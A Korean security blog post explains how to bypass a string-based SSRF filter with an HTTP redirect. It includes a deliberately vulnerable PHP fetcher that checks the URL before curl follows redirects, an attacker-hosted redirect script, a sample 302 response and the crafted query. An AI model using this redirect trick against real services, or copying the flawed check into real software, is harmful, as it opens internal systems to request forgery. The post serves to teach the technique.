Bypass SSRF Protection using HTTP Redirect

오늘도 SSRF 우회 패턴 정리해봅니다. 자주 쓰던 방법 중 하나인데 최근에 제대로 먹혀서 기분이 좋네요. 별다른건 아니고 HTTP Redirect를 이용한 우회 방법입니다.

https://gph.is/2hxuIjt

What is HTTP Redirect?

이름은 거창하지만 302, 301 Response 및 Location 헤더 등으로 HTTP 페이지가 렌더링되기 전에 다른 페이지로 이동되는 걸 의미합니다.

HTTP Status Code    Temporary / Permanent    Cacheable    Method
301    Permanent    yes    GET / POST may change
302    Temporary    not by default    GET / POST may change
303    Temporary    never    always GET
307    Temporary    not by default    may not change
308    Permanent    by default    may not change

Bypass SSRF Protection

한가지 조건이 있습니다. 검증 로직이 URL 패턴이나 도메인 정보를 보고있을 때, 즉 Redirect 처리를 하지 않은 상태에서 검증하는 경우 우회할 수 있는 방법으로 쓰입니다. 예를들어 이런 코드가 있다고 칩시다.

<?php

function protect_ssrf($data){
  if(strpos($data,"www.hahwul.com") !== false){
    exit(); // url에 www.hahwul.com이 있으면 차단
  }
}

function getHtml($url, $post = null) {
    protect_ssrf($url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    if(!empty($post)) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    } 
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

echo getHtml($_GET['q']);
?>

정상 로드
차단되어 로드도지 않음

이런 경우에 아래처럼 hahwul.com이 들어간 도메인은 exit() 구문으로 인해 contents를 들고오지 못합니다. 일반적인 경우에는 내부망(사설대역), 내부 도메인 등의 데이터로 검증하고 있겠죠.

저 코드는 웹 요청을 다 따라가지 않고 요청전에 입력값으로만 검증하기 떄문에 아래 방법으로 우회할 수 있습니다. 아래와 같이 HTTP Redirect 코드를 공격자 서버에 두고..

<?php
header('Location: https://www.hahwul.com');
?>

실제로 이 페이지는 접근하게 되면 이런 Response가 발생하겠죠.

HTTP/1.1 302 Found
Server: nginx
Date: Fri, 22 Feb 2019 23:11:55 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Location: https://www.hahwul.com

SSRF 취약점이 있는 저 페이지도 위에 url을 접근했을 떄 동일한 결과를 받을겁니다. 대신 검증 로직 이후에 Location 헤더를 따라가기 떄문에 www.hahwul.com에 대한 검증 구간이 있어도 정상적으로 불러올 수 있습니다.

?q=http://your_domain/hr.php